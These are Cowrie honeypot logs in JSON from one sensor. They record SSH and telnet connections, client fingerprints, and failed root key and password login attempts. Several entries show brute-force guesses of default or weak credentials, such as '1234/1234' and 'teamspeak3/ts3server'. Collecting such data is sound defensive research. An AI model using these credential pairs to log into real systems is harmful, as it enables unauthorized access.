{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:db:7f:5f:73:7b:04:11:23:24:df:0a:3f:ab:d0:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuaK90lPk+5EPExY9GEeO5eE1oIfUUpLdUySOhbTyWw7QfVksmL65BwG9dModcRyocH/WqYwHbAKR3UmQoWa+ui+9QMz5lETdlZ8EZfhNKpVmRRiav+s773WmmPncM9l5UNbi3ZuGV7Mr4jquxIW48UuRBdEq5dH8bM20urvLJUfE/aEUyABOjvJwuS0nzv5L/lgHNAaLdt9Fy7DOZFsolk2bhIB1tsv2XrwzCHKYkICxG/+j5Teg3vLVnj5YzzSRCmQOFt0FUFyiMbxhdJEryL3cwtjIxb89j1wcOyOb5ZKphDcpXFiiBe7V+fxe24GrSPmzK0jlbYzgFRW6OItaLjdV8ePwYEnId474xQPAG9vKYW6WMl8m6UC1A3UdgQQrHY64/cdP0fRxgwrEgKkjLbBue0p9OZ24gh0Vbgauyh0c73pIqb7+pc+rmrKN/kdpiyRw/sOI3123grv618ShsE9Sb4ttTLbn2shgAjiA+LcalaKXY603ihFmPaEYPBo0BHPZ2WEgQCuyBeoZmQfbTb1AHCMXzx5xZliGiu16tXEL3sWC/OAmROYMEzaPBRwgASY3G6Vx1HAV89tLP0+625l+hq2vLNplVsvqDjC8jPFMTHs07bbUORXGlGhtY2DI2vtYEMQl6zEiIgHpW8KHUPcB63k2bHqfIDVcBj8cDUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.492887Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:f2:68:c8:fd:dc:f7:16:15:5e:6e:15:50:83:b9:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgqjbq+iYGJT54J/xrNjbo/PAC8zq151wb0LG6ggrWRhiq15cXNzE7dHXPcuAgl5QmvZyuTJ0jugwwuR+hJyAO5SPKkCIX3yYLP7EqHHxnMsSxSvOZ+pO0GuBYgxpii98gbNOXp++ZmIUhlNmxfCx4JIKa8YFz7+gPaGsIayBiUQuqvlQsf4+V/6ilixE8SL8oyS+5s1xhvJeo2EgEW5SIdAmwjR8mcmuVRTz1/CIpPQ1pOiZtLoixs16GVigPzpFYihFwKMSHYH7CJe+BRRSBOLJukUPsd6dgFLXeK2yk+4hJuoXQMBGWO2cDgICSr0rgNfgLd+91h/2riw5h7SNOCw78JOHpjq6OWRlSPgQ2kIAxkn2WRI+kMcY6LzILTIXGRKxsKqQQCJVnCMkGpidxGltTwz/eRFEXUn93rmZhtmdMhqZB8HugSqr7Xfct7mINTuA7ZVRbLQeO9+6iKyhCBMOlbzy64atVPpKB0bOebfXAl3yt0vdhOBLJ28sjAvM7W4x7iSnlyeucqSl42qtQrq+117Ci1/TkYclMltIP4KlbgEUJH12pSKtpPYWNHkuaNLP+5bpZMCkm/6yPe8icxYcIxPSlMjmvVrXZxszX1aRyDAYJD8AykV7VfqVcDGE71r9dEjbknuv4hn9A58YDvpgREM6/pRRzodeh7rksGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:f2:68:c8:fd:dc:f7:16:15:5e:6e:15:50:83:b9:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.561802Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:f2:68:c8:fd:dc:f7:16:15:5e:6e:15:50:83:b9:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgqjbq+iYGJT54J/xrNjbo/PAC8zq151wb0LG6ggrWRhiq15cXNzE7dHXPcuAgl5QmvZyuTJ0jugwwuR+hJyAO5SPKkCIX3yYLP7EqHHxnMsSxSvOZ+pO0GuBYgxpii98gbNOXp++ZmIUhlNmxfCx4JIKa8YFz7+gPaGsIayBiUQuqvlQsf4+V/6ilixE8SL8oyS+5s1xhvJeo2EgEW5SIdAmwjR8mcmuVRTz1/CIpPQ1pOiZtLoixs16GVigPzpFYihFwKMSHYH7CJe+BRRSBOLJukUPsd6dgFLXeK2yk+4hJuoXQMBGWO2cDgICSr0rgNfgLd+91h/2riw5h7SNOCw78JOHpjq6OWRlSPgQ2kIAxkn2WRI+kMcY6LzILTIXGRKxsKqQQCJVnCMkGpidxGltTwz/eRFEXUn93rmZhtmdMhqZB8HugSqr7Xfct7mINTuA7ZVRbLQeO9+6iKyhCBMOlbzy64atVPpKB0bOebfXAl3yt0vdhOBLJ28sjAvM7W4x7iSnlyeucqSl42qtQrq+117Ci1/TkYclMltIP4KlbgEUJH12pSKtpPYWNHkuaNLP+5bpZMCkm/6yPe8icxYcIxPSlMjmvVrXZxszX1aRyDAYJD8AykV7VfqVcDGE71r9dEjbknuv4hn9A58YDvpgREM6/pRRzodeh7rksGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.565287Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:f7:47:82:c2:48:53:d0:4f:40:2d:1f:7f:6b:b5:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtb6EZ6K7W7OKpHEg0KXJSO5j220GQFrSCveG7KqBzJl2mSPux8wEQ9n5hnjN2QtIPlsriiIMzuFTnPZNF9tBse8j/hNtDntcEGE3hIedLpfhoCZJqoYE000K9uOBTi24L0/Jo5tQXwdBI6AsPYBJX+KDBBuC4LOkBplwZgHzanm8vXOnnvXiHcqHSFWEJJGMLIvRXsN0Ms6yB92RDgN0Rb0Li1h8oDnM1g0UXcx4WEq+r3zdBcgr69jLmuODjYXxgCRnVBW9hPFAJ8vEWVclpO3hDCDltS4CUHLMHcNcQ0Rx9aQnjbc7mijQbGdqt83J8V3fdyPHx7m/bd3iWXFXGq0v7Yz6knlxKCNTy52lnBznjt983Rs/nL0MlfJOyBNehipa4JQecy1pcZ+qbWkywSoBKJVxN9++9JpFDquWpFSRVpjdli8p5oPCqeNPLL25wT4hEuedddWndStj9fZiS1ZF4PaH0rCXpXyXEbhcAql7oD8H6DqO9kf/D5IYXCCrN5yW2iY/5IN8ceSK+NX1SXGP4xBlxLMBj5u2+Q4/33CFPLcper74a7w/wXFARq1lTVOBkIxgZGg96teqXa7o3tUH7TbnAstRFP0PtMOD9+xLhcc92K32xNppxO1LFz7ea8rbBYeW4DYSPHUHB2JxQQUOrnzi3KfrTvmr/KIeJuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:f7:47:82:c2:48:53:d0:4f:40:2d:1f:7f:6b:b5:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.635440Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:f7:47:82:c2:48:53:d0:4f:40:2d:1f:7f:6b:b5:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtb6EZ6K7W7OKpHEg0KXJSO5j220GQFrSCveG7KqBzJl2mSPux8wEQ9n5hnjN2QtIPlsriiIMzuFTnPZNF9tBse8j/hNtDntcEGE3hIedLpfhoCZJqoYE000K9uOBTi24L0/Jo5tQXwdBI6AsPYBJX+KDBBuC4LOkBplwZgHzanm8vXOnnvXiHcqHSFWEJJGMLIvRXsN0Ms6yB92RDgN0Rb0Li1h8oDnM1g0UXcx4WEq+r3zdBcgr69jLmuODjYXxgCRnVBW9hPFAJ8vEWVclpO3hDCDltS4CUHLMHcNcQ0Rx9aQnjbc7mijQbGdqt83J8V3fdyPHx7m/bd3iWXFXGq0v7Yz6knlxKCNTy52lnBznjt983Rs/nL0MlfJOyBNehipa4JQecy1pcZ+qbWkywSoBKJVxN9++9JpFDquWpFSRVpjdli8p5oPCqeNPLL25wT4hEuedddWndStj9fZiS1ZF4PaH0rCXpXyXEbhcAql7oD8H6DqO9kf/D5IYXCCrN5yW2iY/5IN8ceSK+NX1SXGP4xBlxLMBj5u2+Q4/33CFPLcper74a7w/wXFARq1lTVOBkIxgZGg96teqXa7o3tUH7TbnAstRFP0PtMOD9+xLhcc92K32xNppxO1LFz7ea8rbBYeW4DYSPHUHB2JxQQUOrnzi3KfrTvmr/KIeJuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.638721Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.709165Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":35932,"dst_ip":"159.203.135.109","dst_port":22,"session":"1faac886b6b9","protocol":"ssh","message":"New connection: 107.150.103.12:35932 (159.203.135.109:22) [session: 1faac886b6b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:09.866732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:09.872532Z","src_ip":"107.150.103.12","session":"1faac886b6b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:09.944184Z","src_ip":"107.150.103.12","session":"1faac886b6b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak3","password":"ts3server","message":"login attempt [teamspeak3/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:10.258278Z","src_ip":"107.150.103.12","session":"1faac886b6b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:11.333754Z","src_ip":"107.150.103.12","session":"1faac886b6b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":12701,"dst_ip":"10.17.0.5","dst_port":22,"session":"19e4740e5b4c","protocol":"ssh","message":"New connection: 193.46.255.86:12701 (10.17.0.5:22) [session: 19e4740e5b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:32.117073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:32.122130Z","src_ip":"193.46.255.86","session":"19e4740e5b4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:32.250611Z","src_ip":"193.46.255.86","session":"19e4740e5b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234","message":"login attempt [1234/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:32.841444Z","src_ip":"193.46.255.86","session":"19e4740e5b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abc123","message":"login attempt [1234/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:33.973995Z","src_ip":"193.46.255.86","session":"19e4740e5b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abcd123","message":"login attempt [1234/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:35.105678Z","src_ip":"193.46.255.86","session":"19e4740e5b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abcd1234","message":"login attempt [1234/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:36.241291Z","src_ip":"193.46.255.86","session":"19e4740e5b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"abc1234","message":"login attempt [1234/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:37.372794Z","src_ip":"193.46.255.86","session":"19e4740e5b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:58:38.503453Z","src_ip":"193.46.255.86","session":"19e4740e5b4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":36292,"dst_ip":"159.203.135.109","dst_port":23,"session":"23524e2ede50","protocol":"telnet","message":"New connection: 199.103.57.63:36292 (159.203.135.109:23) [session: 23524e2ede50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:00:42.903337Z"}
{"eventid":"cowrie.session.closed","duration":36.31231641769409,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:01:19.215552Z","src_ip":"199.103.57.63","session":"23524e2ede50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.61.221.161","src_port":57986,"dst_ip":"159.203.135.109","dst_port":23,"session":"123ac0cc6c07","protocol":"telnet","message":"New connection: 38.61.221.161:57986 (159.203.135.109:23) [session: 123ac0cc6c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:02:08.623411Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.196.169.248","src_port":8929,"dst_ip":"10.17.0.5","dst_port":23,"session":"34a8ac1fbebf","protocol":"telnet","message":"New connection: 223.196.169.248:8929 (10.17.0.5:23) [session: 34a8ac1fbebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:02:08.797060Z"}
{"eventid":"cowrie.session.closed","duration":13.352818012237549,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:02:22.149780Z","src_ip":"223.196.169.248","session":"34a8ac1fbebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.704840421676636,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:02:22.328183Z","src_ip":"38.61.221.161","session":"123ac0cc6c07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":21737,"dst_ip":"159.203.135.109","dst_port":22,"session":"6678160999e5","protocol":"ssh","message":"New connection: 2.57.121.25:21737 (159.203.135.109:22) [session: 6678160999e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:53.541286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:53.546849Z","src_ip":"2.57.121.25","session":"6678160999e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:53.655117Z","src_ip":"2.57.121.25","session":"6678160999e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26081982","message":"login attempt [user/26081982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:54.126681Z","src_ip":"2.57.121.25","session":"6678160999e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.91.218.233","src_port":46698,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ebf0e3ab07","protocol":"telnet","message":"New connection: 119.91.218.233:46698 (159.203.135.109:23) [session: 88ebf0e3ab07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:54.841681Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"26071981","message":"login attempt [user/26071981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:55.229758Z","src_ip":"2.57.121.25","session":"6678160999e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.5.253.218","src_port":59356,"dst_ip":"10.17.0.5","dst_port":23,"session":"41900906f8d0","protocol":"telnet","message":"New connection: 139.5.253.218:59356 (10.17.0.5:23) [session: 41900906f8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:55.988045Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"26061993","message":"login attempt [user/26061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:56.332701Z","src_ip":"2.57.121.25","session":"6678160999e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26051981","message":"login attempt [user/26051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:57.435292Z","src_ip":"2.57.121.25","session":"6678160999e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"260190","message":"login attempt [user/260190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:58.538951Z","src_ip":"2.57.121.25","session":"6678160999e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:03:59.641974Z","src_ip":"2.57.121.25","session":"6678160999e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.950286865234375,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:04:08.938217Z","src_ip":"139.5.253.218","session":"41900906f8d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.519375324249268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:04:25.360947Z","src_ip":"119.91.218.233","session":"88ebf0e3ab07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":54344,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a84b6173e0b","protocol":"ssh","message":"New connection: 186.190.215.90:54344 (10.17.0.5:22) [session: 4a84b6173e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:14.214287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:14.218815Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:05:14.325730Z","src_ip":"186.190.215.90","session":"4a84b6173e0b","protocol":"ssh"}
